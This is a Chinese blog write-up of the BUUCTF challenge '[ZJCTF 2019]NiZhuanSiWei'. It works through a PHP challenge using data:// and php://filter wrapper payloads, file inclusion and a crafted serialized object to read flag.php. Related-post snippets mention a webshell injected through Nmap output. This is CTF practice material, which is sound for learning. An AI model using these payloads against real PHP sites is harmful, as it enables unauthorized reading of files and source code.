首页 > 其他分享 >Buuctf——[ZJCTF 2019]NiZhuanSiWei

Buuctf——[ZJCTF 2019]NiZhuanSiWei

时间:2023-09-22 11:33:21浏览次数:31  
标签:Buuctf get ZJCTF text echo NiZhuanSiWei file php contents

审题

进入题目链接发现是白盒审计

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

发现file_get_contents($text,'r')和include函数,考察文件包含,伪协议。

解题过程

第一步绕过:isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")

可以使用data伪协议,此时file_get_contents会被替换为你写入的字符串,(跟r没关系,没有r选项也可以)

第二步:读取useless.php文件

使用如下payload
?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php&password=

base64解码为
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

第三步:反序列化读取flag.php

<?php

class Flag{  //flag.php  
    public $file="php://filter/read=convert.base64-encode/resource=flag.php";    
}
$a = new Flag();
$b = serialize($a);
echo $b;

// ?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

标签:Buuctf,get,ZJCTF,text,echo,NiZhuanSiWei,file,php,contents
From: https://www.cnblogs.com/niyani/p/17721912.html

相关文章

  • Buuctf——[网鼎杯 2020 青龙组]AreUSerialz
    这是一道序列化的题目<?phpinclude("flag.php");highlight_file(__FILE__);classFileHandler{protected$op;protected$filename;protected$content;function__construct(){$op="1";$filename="/......
  • Buuctf——[RoarCTF 2019]Easy Calc
     有waf,不能出现非数字参数值。使用%20num可以绕过waf(AbusingPHPquerystringparsertobypassIDS,IPS,andWAF(secjuice.com))过滤了单双引号,可以用chr()函数构造字符串?%20num=var_dump(scandir(chr(46))) ?%20num=show_source(chr(47).chr(102).chr(49).chr(97).ch......
  • BUUCTF [GYCTF2020]FlaskApp
    因为题目名Flask,所以先观察功能点,寻找易发生ssti的功能。考虑到功能异常抛出常见于解密环节,所以在解密界面随便输入一段不能解密的。直接报错抛出debug信息,看来是开启了debug模式。payload的使用需要输入到加密界面,再将加密结果输入到解密界面查看结果。方法1首先想办法把完......
  • BUUCTF-Web
    CTF实战:从入门到提升1.3.5.[第一章][1.3.5案例解析][极客大挑战2019]Http 打开页面,没有发现什么有用的东西右键打开页面源代码,发现页面Secret.php 显示Itdoesn'tcomefrom'https://Sycsecret.buuoj.cn',使用postman,增加Referer头显示Please use "Syclo......
  • BUUCTF [De1CTF 2019]SSRF Me
    源码#!/usr/bin/envpython#encoding=utf-8fromflaskimportFlaskfromflaskimportrequestimportsocketimporthashlibimporturllibimportsysimportosimportjsonreload(sys)sys.setdefaultencoding('latin1')app=Flask(__name__......
  • BUUCTF [极客大挑战 2019]FinalSQL
    通过尝试发现注入点在search.php。传递?id=1^1报ERROR!!!;传递?id=1^0报NO!Notthis!Clickothers~~~布尔盲注importrequestsimporttimeurl="http://eab3a4cf-d57d-4236-a9f9-1383446ba4e1.node4.buuoj.cn:81/search.php?"result=''temp={"id":......
  • BUUCTF [SWPU2019]Web1
    进入网站,注册登录,进到申请发布广告,应该就是在这里实现注入。首先尝试:1'or1=1#标题含有敏感词汇应该是哪里被过滤了。经过尝试后是or被过滤了,--+,#等其他的注释符也被过滤了。经过测试后,结尾可以用单引号闭合。再次尝试:1'showdatabases()'1'showdatabases()'空格被......
  • BUUCTF [CISCN2019 华东南赛区]Web11
    切入点如图:测试模板注入最后或者payload:X-Forwarded-For:{ifreadfile('/flag')}{/if}原理是Smarty已经废弃{php}标签。在Smarty3.1,{php}仅在SmartyBC中可用。Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}。全部的PHP条件表......
  • BUUCTF [网鼎杯 2020 朱雀组]Nmap
    payload:127.0.0.1|'<?=@eval($_POST["hack"]);?>-oGhack.phtml'nmap`-oG`:将扫描结果输出到一个文本文件中,G代表生成一种称为"grepableoutput"(可用于grep命令的输出)的格式,这种格式是一种易于处理的文本格式。写入`hack.phtml`而不是`hack.php`的原因在于php可能被过......
  • BUUCTF [BUUCTF 2018]Online Tool
    首先访问网站得到需要分析的代码<?phpif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$_SERVER['REMOTE_ADDR']=$_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])){highlight_file(__FILE__);}else{$hos......